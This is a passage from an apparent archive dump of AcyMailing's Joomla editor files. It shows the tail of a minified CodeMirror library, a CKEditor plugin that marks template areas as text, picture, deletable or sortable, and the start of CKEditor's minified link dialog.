f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;function fq(gi){return gi.charCodeAt(0)>=768&&eK.test(gi)}function f3(gi,gm,gl,gk){var gn=document.createElement(gi);if(gl){gn.className=gl}if(gk){gn.style.cssText=gk}if(typeof gm=="string"){gn.appendChild(document.createTextNode(gm))}else{if(gm){for(var gj=0;gj<gm.length;++gj){gn.appendChild(gm[gj])}}}return gn}var cm;if(document.createRange){cm=function(gl,gm,gj,gi){var gk=document.createRange();gk.setEnd(gi||gl,gj);gk.setStart(gl,gm);return gk}}else{cm=function(gk,gm,gi){var gj=document.body.createTextRange();try{gj.moveToElementText(gk.parentNode)}catch(gl){return gj}gj.collapse(true);gj.moveEnd("character",gi);gj.moveStart("character",gm);return gj}}function d2(gj){for(var gi=gj.childNodes.length;gi>0;--gi){gj.removeChild(gj.firstChild)}return gj}function bS(gi,gj){return d2(gi).appendChild(gj)}var gb=H.contains=function(gi,gj){if(gj.nodeType==3){gj=gj.parentNode}if(gi.contains){return gi.contains(gj)}do{if(gj.nodeType==11){gj=gj.host}if(gj==gi){return true}}while(gj=gj.parentNode)};function dP(){return document.activeElement}if(dL&&k<11){dP=function(){try{return document.activeElement}catch(gi){return document.body}}}function S(gi){return new RegExp("(^|\\s)"+gi+"(?:$|\\s)\\s*")}var f=H.rmClass=function(gk,gi){var gl=gk.className;var gj=S(gi).exec(gl);if(gj){var gm=gl.slice(gj.index+gj[0].length);gk.className=gl.slice(0,gj.index)+(gm?gj[1]+gm:"")}};var fB=H.addClass=function(gj,gi){var gk=gj.className;if(!S(gi).test(gk)){gj.className+=(gk?" ":"")+gi}};function fT(gk,gi){var gj=gk.split(" ");for(var gl=0;gl<gj.length;gl++){if(gj[gl]&&!S(gj[gl]).test(gi)){gi+=" "+gj[gl]}}return gi}function aA(gl){if(!document.body.getElementsByClassName){return}var gk=document.body.getElementsByClassName("CodeMirror");for(var gj=0;gj<gk.length;gj++){var gi=gk[gj].CodeMirror;if(gi){gl(gi)}}}var cD=false;function bk(){if(cD){return}fF();cD=true}function fF(){var gi;bY(window,"resize",function(){if(gi==null){gi=setTimeout(function(){gi=null;aA(aT)},100)}});bY(window,"blur",function(){aA(aV)})}var eM=function(){if(dL&&k<9){return false}var gi=f3("div");return"draggable" in gi||"dragDrop" in gi}();var fM;function bo(gi){if(fM==null){var gk=f3("span","\u200b");bS(gi,f3("span",[gk,document.createTextNode("x")]));if(gi.firstChild.offsetHeight!=0){fM=gk.offsetWidth<=1&&gk.offsetHeight>2&&!(dL&&k<8)}}var gj=fM?f3("span","\u200b"):f3("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px");gj.setAttribute("cm-text","");return gj}var fL;function bP(gl){if(fL!=null){return fL}var gi=bS(gl,document.createTextNode("A\u062eA"));var gk=cm(gi,0,1).getBoundingClientRect();if(!gk||gk.left==gk.right){return false}var gj=cm(gi,1,2).getBoundingClientRect();return fL=(gj.right-gk.right<3)}var a1=H.splitLines="\n\nb".split(/\n/).length!=3?function(gn){var go=0,gi=[],gm=gn.length;while(go<=gm){var gl=gn.indexOf("\n",go);if(gl==-1){gl=gn.length}var gk=gn.slice(go,gn.charAt(gl-1)=="\r"?gl-1:gl);var gj=gk.indexOf("\r");if(gj!=-1){gi.push(gk.slice(0,gj));go+=gj+1}else{gi.push(gk);go=gl+1}}return gi}:function(gi){return gi.split(/\r\n?|\n/)};var bt=window.getSelection?function(gj){try{return gj.selectionStart!=gj.selectionEnd}catch(gi){return false}}:function(gk){try{var gi=gk.ownerDocument.selection.createRange()}catch(gj){}if(!gi||gi.parentElement()!=gk){return false}return gi.compareEndPoints("StartToEnd",gi)!=0};var db=(function(){var gi=f3("div");if("oncopy" in gi){return true}gi.setAttribute("oncopy","return;");return typeof gi.oncopy=="function"})();var e7=null;function aK(gj){if(e7!=null){return e7}var gk=bS(gj,f3("span","x"));var gl=gk.getBoundingClientRect();var gi=cm(gk,0,1).getBoundingClientRect();return e7=Math.abs(gl.left-gi.left)>1}var fh={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};H.keyNames=fh;(function(){for(var gi=0;gi<10;gi++){fh[gi+48]=fh[gi+96]=String(gi)}for(var gi=65;gi<=90;gi++){fh[gi]=String.fromCharCode(gi)}for(var gi=1;gi<=12;gi++){fh[gi+111]=fh[gi+63235]="F"+gi}})();function d5(gi,go,gn,gm){if(!gi){return gm(go,gn,"ltr")}var gl=false;for(var gk=0;gk<gi.length;++gk){var gj=gi[gk];if(gj.from<gn&&gj.to>go||go==gn&&gj.to==go){gm(Math.max(gj.from,go),Math.min(gj.to,gn),gj.level==1?"rtl":"ltr");gl=true}}if(!gl){gm(go,gn,"ltr")}}function dz(gi){return gi.level%2?gi.to:gi.from}function ge(gi){return gi.level%2?gi.from:gi.to}function cF(gj){var gi=a(gj);return gi?dz(gi[0]):0}function cT(gj){var gi=a(gj);if(!gi){return gj.text.length}return ge(fH(gi))}function bu(gj,gm){var gk=fg(gj.doc,gm);var gn=y(gk);if(gn!=gk){gm=bO(gn)}var gi=a(gn);var gl=!gi?0:gi[0].level%2?cT(gn):cF(gn);return W(gm,gl)}function dQ(gk,gn){var gj,gl=fg(gk.doc,gn);while(gj=ex(gl)){gl=gj.find(1,true).line;gn=null}var gi=a(gl);var gm=!gi?gl.text.length:gi[0].level%2?cF(gl):cT(gl);return W(gn==null?bO(gl):gn,gm)}function dJ(gj,go){var gn=bu(gj,go.line);var gk=fg(gj.doc,gn.line);var gi=a(gk);if(!gi||gi[0].level==0){var gm=Math.max(0,gk.text.search(/\S/));var gl=go.line==gn.line&&go.ch<=gm&&go.ch;return W(gn.line,gl?0:gm)}return gn}function an(gj,gk,gi){var gl=gj[0].level;if(gk==gl){return true}if(gi==gl){return false}return gk<gi}var e3;function aG(gi,gm){e3=null;for(var gj=0,gk;gj<gi.length;++gj){var gl=gi[gj];if(gl.from<gm&&gl.to>gm){return gj}if((gl.from==gm||gl.to==gm)){if(gk==null){gk=gj}else{if(an(gi,gl.level,gi[gk].level)){if(gl.from!=gl.to){e3=gk}return gj}else{if(gl.from!=gl.to){e3=gj}return gk}}}}return gk}function ff(gi,gl,gj,gk){if(!gk){return gl+gj}do{gl+=gj}while(gl>0&&fq(gi.text.charAt(gl)));return gl}function u(gi,gp,gk,gl){var gm=a(gi);if(!gm){return ai(gi,gp,gk,gl)}var go=aG(gm,gp),gj=gm[go];var gn=ff(gi,gp,gj.level%2?-gk:gk,gl);for(;;){if(gn>gj.from&&gn<gj.to){return gn}if(gn==gj.from||gn==gj.to){if(aG(gm,gn)==go){return gn}gj=gm[go+=gk];return(gk>0)==gj.level%2?gj.to:gj.from}else{gj=gm[go+=gk];if(!gj){return null}if((gk>0)==gj.level%2){gn=ff(gi,gj.to,-1,gl)}else{gn=ff(gi,gj.from,1,gl)}}}}function ai(gi,gm,gj,gk){var gl=gm+gj;if(gk){while(gl>0&&fq(gi.text.charAt(gl))){gl+=gj}}return gl<0||gl>gi.text.length?null:gl}var bi=(function(){var go="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";var gm="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";function gl(gs){if(gs<=247){return go.charAt(gs)}else{if(1424<=gs&&gs<=1524){return"R"}else{if(1536<=gs&&gs<=1773){return gm.charAt(gs-1536)}else{if(1774<=gs&&gs<=2220){return"r"}else{if(8192<=gs&&gs<=8203){return"w"}else{if(gs==8204){return"b"}else{return"L"}}}}}}}var gi=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;var gr=/[stwN]/,gk=/[LRr]/,gj=/[Lb1n]/,gn=/[1n]/;var gq="L";function gp(gu,gt,gs){this.level=gu;this.from=gt;this.to=gs}return function(gC){if(!gi.test(gC)){return false}var gI=gC.length,gy=[];for(var gH=0,gu;gH<gI;++gH){gy.push(gu=gl(gC.charCodeAt(gH)))}for(var gH=0,gB=gq;gH<gI;++gH){var gu=gy[gH];if(gu=="m"){gy[gH]=gB}else{gB=gu}}for(var gH=0,gs=gq;gH<gI;++gH){var gu=gy[gH];if(gu=="1"&&gs=="r"){gy[gH]="n"}else{if(gk.test(gu)){gs=gu;if(gu=="r"){gy[gH]="R"}}}}for(var gH=1,gB=gy[0];gH<gI-1;++gH){var gu=gy[gH];if(gu=="+"&&gB=="1"&&gy[gH+1]=="1"){gy[gH]="1"}else{if(gu==","&&gB==gy[gH+1]&&(gB=="1"||gB=="n")){gy[gH]=gB}}gB=gu}for(var gH=0;gH<gI;++gH){var gu=gy[gH];if(gu==","){gy[gH]="N"}else{if(gu=="%"){for(var gv=gH+1;gv<gI&&gy[gv]=="%";++gv){}var gJ=(gH&&gy[gH-1]=="!")||(gv<gI&&gy[gv]=="1")?"1":"N";for(var gF=gH;gF<gv;++gF){gy[gF]=gJ}gH=gv-1}}}for(var gH=0,gs=gq;gH<gI;++gH){var gu=gy[gH];if(gs=="L"&&gu=="1"){gy[gH]="L"}else{if(gk.test(gu)){gs=gu}}}for(var gH=0;gH<gI;++gH){if(gr.test(gy[gH])){for(var gv=gH+1;gv<gI&&gr.test(gy[gv]);++gv){}var gz=(gH?gy[gH-1]:gq)=="L";var gt=(gv<gI?gy[gv]:gq)=="L";var gJ=gz||gt?"L":"R";for(var gF=gH;gF<gv;++gF){gy[gF]=gJ}gH=gv-1}}var gG=[],gD;for(var gH=0;gH<gI;){if(gj.test(gy[gH])){var gw=gH;for(++gH;gH<gI&&gj.test(gy[gH]);++gH){}gG.push(new gp(0,gw,gH))}else{var gx=gH,gA=gG.length;for(++gH;gH<gI&&gy[gH]!="L";++gH){}for(var gF=gx;gF<gH;){if(gn.test(gy[gF])){if(gx<gF){gG.splice(gA,0,new gp(1,gx,gF))}var gE=gF;for(++gF;gF<gH&&gn.test(gy[gF]);++gF){}gG.splice(gA,0,new gp(2,gE,gF));gx=gF}else{++gF}}if(gx<gH){gG.splice(gA,0,new gp(1,gx,gH))}}}if(gG[0].level==1&&(gD=gC.match(/^\s+/))){gG[0].from=gD[0].length;gG.unshift(new gp(0,0,gD[0].length))}if(fH(gG).level==1&&(gD=gC.match(/\s+$/))){fH(gG).to-=gD[0].length;gG.push(new gp(0,gI-gD[0].length,gI))}if(gG[0].level==2){gG.unshift(new gp(1,gG[0].to,gG[0].to))}if(gG[0].level!=fH(gG).level){gG.push(new gp(gG[0].level,gI,gI))}return gG}})();H.version="5.4.0";return H});
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/templatemode/index.html000060400000000054152455305310030217 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/templatemode/plugin.js000060400000014275152455305310030070 0ustar00(function() {
	var a= {
		exec:function(editor){
			SetClass("acyeditor_text", editor);
		}
	};
	var b= {
		exec:function(editor){
			SetClass("acyeditor_picture", editor);
		}
	};
	var c= {
		exec:function(editor){
			SetClass("acyeditor_delete", editor);
		}
	};
	var g= {
		canUndo: false,
		exec:function(editor){
			if (parent.AddRemoveTemplateCss)
			{
				AddRemoveTemplateCss();
			}
		}
	};
	var i={
		exec:function(editor){
			initAreas();
		}
	};
	var k={
		exec:function(editor){
			SetSortable(editor);
		}
	};
	var d='setText';
	var e='setPicture';
	var f='setDelete';
	var h='showAreas';
	var j='initAreas';
	var l='setSortable';

	CKEDITOR.plugins.add("templatemode",{
		init:function(editor){
			editor.addCommand(d,a);
			editor.addCommand(e,b);
			editor.addCommand(f,c);
			editor.addCommand(h,g);
			editor.addCommand(j,i);
			editor.addCommand(l,k);
			editor.ui.addButton("textarea",{label: parent.tooltipTemplateText,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-edittext.png",
											command:d,
											className: "boutontemplate_text",
											toolbar: "templatemode"});
			editor.ui.addButton("picturearea",{label: parent.tooltipTemplatePicture,
											 icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-editpicture.png",
											 command:e,
											 className: "boutontemplate_picture",
											toolbar: "templatemode"});
			editor.ui.addButton("deletearea",{label: parent.tooltipTemplateDelete,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-delete.png",
											command:f,
											className: "boutontemplate_delete",
											toolbar: "templatemode"});
			editor.ui.addButton("sortablearea",{label: parent.tooltipTemplateSortable,
												icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-sortable.png",
												command: l,
												className: "boutontemplate_sortable",
												toolbar: "templatemode"});
			editor.ui.addButton("showarea",{label: parent.tooltipShowAreas,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-show.png",
											command:h,
											className: "boutontemplate_show",
											toolbar: "templatemode"});
			editor.ui.addButton("initareas",{label:parent.tooltipInitAreas,
												icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-initareas.png",
												command: j,
												className:"boutontemplate_initareas",
												toolbar: "templatemode"});

			editor.on( 'selectionChange', function() {
				SetAnchorNodeIE()
				if (parent.SetStateForSelection)
				{
					parent.SetStateForSelection();
				}
			});
		}
	});

	function initAreas(){
		var removeConfirm = confirm(parent.confirmInitAreas);
		if(removeConfirm){
			var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
			var zoneGlob = acyframe.contentWindow.document.body.getElementsByTagName('*');
			jQuery(zoneGlob).find('.acyeditor_text').removeClass('acyeditor_text');
			jQuery(zoneGlob).find('.acyeditor_picture').removeClass('acyeditor_picture');
			jQuery(zoneGlob).find('.acyeditor_delete').removeClass('acyeditor_delete');
			jQuery(zoneGlob).find('.acyeditor_sortable').removeClass('acyeditor_sortable');
		}
		parent.SetTitleTemplate();
	}

	function SetClass(classe, editor){

		var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];

		var node = null;
		if (parent.isBrowserIE())
		{
			if (parent.anchorNodeIE == undefined)
			{
				SetAnchorNodeIE();
			}
			node = parent.GetParentForClass(parent.anchorNodeIE, classe);
		}
		else if (acyframe != null
				&& acyframe != undefined
				&& acyframe.contentWindow != null
				&& acyframe.contentWindow != undefined
				&& acyframe.contentWindow.getSelection)
		{
			var sel = acyframe.contentWindow.getSelection();
			if (sel.anchorNode) {
				node = parent.GetParentForClass(sel.anchorNode, classe);
			}
		}
		SetClassNode(classe, editor, node);

		parent.SetStateForSelection();
	}

	function SetClassNode(classe, editor, node){
		if (node != null && node != undefined)
		{
			if (node.className != null && node.className != undefined && node.className.indexOf(classe) < 0)
			{
				if (classe == "acyeditor_text")
				{
					jQuery(node).removeClass("acyeditor_picture");
				}
				else if (classe == "acyeditor_picture")
				{
					jQuery(node).removeClass("acyeditor_text");
				}
				jQuery(node).addClass(classe);
			}
			else
			{
				jQuery(node).removeClass(classe);
			}
			parent.SetTitleTemplate();
		}
	}

	function SetAnchorNodeIE()
	{
		if (parent.isBrowserIE())
		{
			var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
			parent.anchorNodeIE = undefined;
			if (acyframe != null
			 && acyframe != undefined
			 && acyframe.contentWindow.document != null
			 && acyframe.contentWindow.document != undefined
			 && acyframe.contentWindow.document.selection)
			{
				if (acyframe.contentWindow.document.selection.createRange().parentElement)
				{
					parent.anchorNodeIE = acyframe.contentWindow.document.selection.createRange().parentElement();
				}
				else if (acyframe.contentWindow.document.selection.createRange().item)
				{
					parent.anchorNodeIE = acyframe.contentWindow.document.selection.createRange().item(0);
				}
			}
		}
	}

	function SetSortable(editor){
		var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
		var node = null;
		if (parent.isBrowserIE()){
			if (parent.anchorNodeIE == undefined){
				SetAnchorNodeIE();
			}
			node = parent.anchorNodeIE;
		}
		else if (acyframe != null
				&& acyframe != undefined
				&& acyframe.contentWindow != null
				&& acyframe.contentWindow != undefined
				&& acyframe.contentWindow.getSelection){
			var sel = acyframe.contentWindow.getSelection();
			if (sel.anchorNode){
				node = sel.anchorNode;
			}
		}
		var tableSortable = jQuery(node).closest('tbody');
		if(tableSortable.hasClass('acyeditor_sortable')){
			tableSortable.removeClass('acyeditor_sortable');
		} else{
			tableSortable.addClass('acyeditor_sortable');
		}
		parent.SetStateForSelection();
	}
})();

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/index.html000060400000000054152455305310026474 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/dialogs/index.html000060400000000054152455305310030116 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/link/dialogs/link.js000060400000025300152455305310027415 0ustar00(function(){CKEDITOR.dialog.add("link",function(g){var l=CKEDITOR.plugins.link,m=function(){var a=this.getDialog(),b=a.getContentElement("target","popupFeatures"),a=a.getContentElement("target","linkTargetName"),k=this.getValue();if(b&&a)switch(b=b.getElement(),b.hide(),a.setValue(""),k){case "frame":a.setLabel(g.lang.link.targetFrameName);a.getElement().show();break;case "popup":b.show();a.setLabel(g.lang.link.targetPopupName);a.getElement().show();break;default:a.setValue(k),a.getElement().hide()}},
f=function(a){a.target&&this.setValue(a.target[this.id]||"")},h=function(a){a.advanced&&this.setValue(a.advanced[this.id]||"")},i=function(a){a.target||(a.target={});a.target[this.id]=this.getValue()||""},j=function(a){a.advanced||(a.advanced={});a.advanced[this.id]=this.getValue()||""},c=g.lang.common,b=g.lang.link,d;return{title:b.title,minWidth:350,minHeight:230,contents:[{id:"info",label:b.info,title:b.info,elements:[{id:"linkType",type:"select",label:b.type,"default":"url",items:[[b.toUrl,"url"],
[b.toAnchor,"anchor"],[b.toEmail,"email"]],onChange:function(){var a=this.getDialog(),b=["urlOptions","anchorOptions","emailOptions"],k=this.getValue(),e=a.definition.getContents("upload"),e=e&&e.hidden;"url"==k?(g.config.linkShowTargetTab&&a.showPage("target"),e||a.showPage("upload")):(a.hidePage("target"),e||a.hidePage("upload"));for(e=0;e<b.length;e++){var c=a.getContentElement("info",b[e]);c&&(c=c.getElement().getParent().getParent(),b[e]==k+"Options"?c.show():c.hide())}a.layout()},setup:function(a){this.setValue(a.type||
"url")},commit:function(a){a.type=this.getValue()}},{type:"vbox",id:"urlOptions",children:[{type:"hbox",widths:["25%","75%"],children:[{id:"protocol",type:"select",label:c.protocol,"default":"http://",items:[["http://‎","http://"],["https://‎","https://"],["ftp://‎","ftp://"],["news://‎","news://"],[b.other,""]],setup:function(a){a.url&&this.setValue(a.url.protocol||"")},commit:function(a){a.url||(a.url={});a.url.protocol=this.getValue()}},{type:"text",id:"url",label:c.url,required:!0,onLoad:function(){this.allowOnChange=
!0},onKeyUp:function(){this.allowOnChange=!1;var a=this.getDialog().getContentElement("info","protocol"),b=this.getValue(),k=/^((javascript:)|[#\/\.\?])/i,c=/^(http|https|ftp|news):\/\/(?=.)/i.exec(b);c?(this.setValue(b.substr(c[0].length)),a.setValue(c[0].toLowerCase())):k.test(b)&&a.setValue("");this.allowOnChange=!0},onChange:function(){if(this.allowOnChange)this.onKeyUp()},validate:function(){var a=this.getDialog();return a.getContentElement("info","linkType")&&"url"!=a.getValueOf("info","linkType")?
!0:!g.config.linkJavaScriptLinksAllowed&&/javascript\:/.test(this.getValue())?(alert(c.invalidValue),!1):this.getDialog().fakeObj?!0:CKEDITOR.dialog.validate.notEmpty(b.noUrl).apply(this)},setup:function(a){this.allowOnChange=!1;a.url&&this.setValue(a.url.url);this.allowOnChange=!0},commit:function(a){this.onChange();a.url||(a.url={});a.url.url=this.getValue();this.allowOnChange=!1}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().show()}},{type:"button",
id:"browse",hidden:"true",filebrowser:"info:url",label:c.browseServer}]},{type:"vbox",id:"anchorOptions",width:260,align:"center",padding:0,children:[{type:"fieldset",id:"selectAnchorText",label:b.selectAnchor,setup:function(){d=l.getEditorAnchors(g);this.getElement()[d&&d.length?"show":"hide"]()},children:[{type:"hbox",id:"selectAnchor",children:[{type:"select",id:"anchorName","default":"",label:b.anchorName,style:"width: 100%;",items:[[""]],setup:function(a){this.clear();this.add("");if(d)for(var b=
0;b<d.length;b++)d[b].name&&this.add(d[b].name);a.anchor&&this.setValue(a.anchor.name);(a=this.getDialog().getContentElement("info","linkType"))&&"email"==a.getValue()&&this.focus()},commit:function(a){a.anchor||(a.anchor={});a.anchor.name=this.getValue()}},{type:"select",id:"anchorId","default":"",label:b.anchorId,style:"width: 100%;",items:[[""]],setup:function(a){this.clear();this.add("");if(d)for(var b=0;b<d.length;b++)d[b].id&&this.add(d[b].id);a.anchor&&this.setValue(a.anchor.id)},commit:function(a){a.anchor||
(a.anchor={});a.anchor.id=this.getValue()}}],setup:function(){this.getElement()[d&&d.length?"show":"hide"]()}}]},{type:"html",id:"noAnchors",style:"text-align: center;",html:'<div role="note" tabIndex="-1">'+CKEDITOR.tools.htmlEncode(b.noAnchors)+"</div>",focus:!0,setup:function(){this.getElement()[d&&d.length?"hide":"show"]()}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().hide()}},{type:"vbox",id:"emailOptions",padding:1,children:[{type:"text",id:"emailAddress",
label:b.emailAddress,required:!0,validate:function(){var a=this.getDialog();return!a.getContentElement("info","linkType")||"email"!=a.getValueOf("info","linkType")?!0:CKEDITOR.dialog.validate.notEmpty(b.noEmail).apply(this)},setup:function(a){a.email&&this.setValue(a.email.address);(a=this.getDialog().getContentElement("info","linkType"))&&"email"==a.getValue()&&this.select()},commit:function(a){a.email||(a.email={});a.email.address=this.getValue()}},{type:"text",id:"emailSubject",label:b.emailSubject,
setup:function(a){a.email&&this.setValue(a.email.subject)},commit:function(a){a.email||(a.email={});a.email.subject=this.getValue()}},{type:"textarea",id:"emailBody",label:b.emailBody,rows:3,"default":"",setup:function(a){a.email&&this.setValue(a.email.body)},commit:function(a){a.email||(a.email={});a.email.body=this.getValue()}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().hide()}}]},{id:"target",requiredContent:"a[target]",label:b.target,title:b.target,
elements:[{type:"hbox",widths:["50%","50%"],children:[{type:"select",id:"linkTargetType",label:c.target,"default":"notSet",style:"width : 100%;",items:[[c.notSet,"notSet"],[b.targetFrame,"frame"],[b.targetPopup,"popup"],[c.targetNew,"_blank"],[c.targetTop,"_top"],[c.targetSelf,"_self"],[c.targetParent,"_parent"]],onChange:m,setup:function(a){a.target&&this.setValue(a.target.type||"notSet");m.call(this)},commit:function(a){a.target||(a.target={});a.target.type=this.getValue()}},{type:"text",id:"linkTargetName",
label:b.targetFrameName,"default":"",setup:function(a){a.target&&this.setValue(a.target.name)},commit:function(a){a.target||(a.target={});a.target.name=this.getValue().replace(/\W/gi,"")}}]},{type:"vbox",width:"100%",align:"center",padding:2,id:"popupFeatures",children:[{type:"fieldset",label:b.popupFeatures,children:[{type:"hbox",children:[{type:"checkbox",id:"resizable",label:b.popupResizable,setup:f,commit:i},{type:"checkbox",id:"status",label:b.popupStatusBar,setup:f,commit:i}]},{type:"hbox",
children:[{type:"checkbox",id:"location",label:b.popupLocationBar,setup:f,commit:i},{type:"checkbox",id:"toolbar",label:b.popupToolbar,setup:f,commit:i}]},{type:"hbox",children:[{type:"checkbox",id:"menubar",label:b.popupMenuBar,setup:f,commit:i},{type:"checkbox",id:"fullscreen",label:b.popupFullScreen,setup:f,commit:i}]},{type:"hbox",children:[{type:"checkbox",id:"scrollbars",label:b.popupScrollBars,setup:f,commit:i},{type:"checkbox",id:"dependent",label:b.popupDependent,setup:f,commit:i}]},{type:"hbox",
children:[{type:"text",widths:["50%","50%"],labelLayout:"horizontal",label:c.width,id:"width",setup:f,commit:i},{type:"text",labelLayout:"horizontal",widths:["50%","50%"],label:b.popupLeft,id:"left",setup:f,commit:i}]},{type:"hbox",children:[{type:"text",labelLayout:"horizontal",widths:["50%","50%"],label:c.height,id:"height",setup:f,commit:i},{type:"text",labelLayout:"horizontal",label:b.popupTop,widths:["50%","50%"],id:"top",setup:f,commit:i}]}]}]}]},{id:"upload",label:b.upload,title:b.upload,hidden:!0,
filebrowser:"uploadButton",elements:[{type:"file",id:"upload",label:c.upload,style:"height:40px",size:29},{type:"fileButton",id:"uploadButton",label:c.uploadSubmit,filebrowser:"info:url","for":["upload","upload"]}]},{id:"advanced",label:b.advanced,title:b.advanced,elements:[{type:"vbox",padding:1,children:[{type:"hbox",widths:["45%","35%","20%"],children:[{type:"text",id:"advId",requiredContent:"a[id]",label:b.id,setup:h,commit:j},{type:"select",id:"advLangDir",requiredContent:"a[dir]",label:b.langDir,
"default":"",style:"width:110px",items:[[c.notSet,""],[b.langDirLTR,"ltr"],[b.langDirRTL,"rtl"]],setup:h,commit:j},{type:"text",id:"advAccessKey",requiredContent:"a[accesskey]",width:"80px",label:b.acccessKey,maxLength:1,setup:h,commit:j}]},{type:"hbox",widths:["45%","35%","20%"],children:[{type:"text",label:b.name,id:"advName",requiredContent:"a[name]",setup:h,commit:j},{type:"text",label:b.langCode,id:"advLangCode",requiredContent:"a[lang]",width:"110px","default":"",setup:h,commit:j},{type:"text",
label:b.tabIndex,id:"advTabIndex",requiredContent:"a[tabindex]",width:"80px",maxLength:5,setup:h,commit:j}]}]},{type:"vbox",padding:1,children:[{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.advisoryTitle,requiredContent:"a[title]","default":"",id:"advTitle",setup:h,commit:j},{type:"text",label:b.advisoryContentType,requiredContent:"a[type]","default":"",id:"advContentType",setup:h,commit:j}]},{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.cssClasses,requiredContent:"a(cke-xyz)",
"default":"",id:"advCSSClasses",setup:h,commit:j},{type:"text",label:b.charset,requiredContent:"a[charset]","default":"",id:"advCharset",setup:h,commit:j}]},{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.rel,requiredContent:"a[rel]","default":"",id:"advRel",setup:h,commit:j},{type:"text",label:b.styles,requiredContent:"a{cke-xyz}","default":"",id:"advStyles",validate:CKEDITOR.dialog.validate.inlineStyle(g.lang.common.invalidInlineStyle),setup:h,commit:j}]}]}]}],onShow:function(){var a=
this.getParentEditor(),b=a.getSelection(),c=null;(c=l.getSelectedLink(a))&&c.hasAttribute("href")?b.getSelectedElement()||b.selectElement(c):c=null;a=l.parseLinkAttributes(a,c);this._.selectedElement=c;this.setupContent(a)},onOk:function(){var a={};this.commitContent(a);var b=g.getSelection(),c=l.getLinkAttributes(g,a);if(this._.selectedElement){var e=this._.selectedElement,d=e.data("cke-saved-href"),f=e.getHtml();e.setAttributes(c.set);e.removeAttributes(c.removed);if(d==f||"email"==a.type&&-1!=
f.indexOf("@"))e.setHtml("email"==a.type?a.email.address:c.set["data-cke-saved-href"]),b.selectElement(e);delete this._.selectedElement}else b=b.getRanges()[0],b.collapsed&&(a=new CKEDITOR.dom.text("email"==a.type?a.email.address:c.set["data-cke-saved-href"],g.document),b.insertNode(a),b.selectNodeContents(a)),c=new CKEDITOR.style({element:"a",attributes:c.set}),c.type=CKEDITOR.STYLE_INLINE,c.applyToRange(b,g),b.select()},onLoad:function(){g.config.linkShowAdvancedTab||this.hidePage("advanced");g.config.linkShowTargetTab||
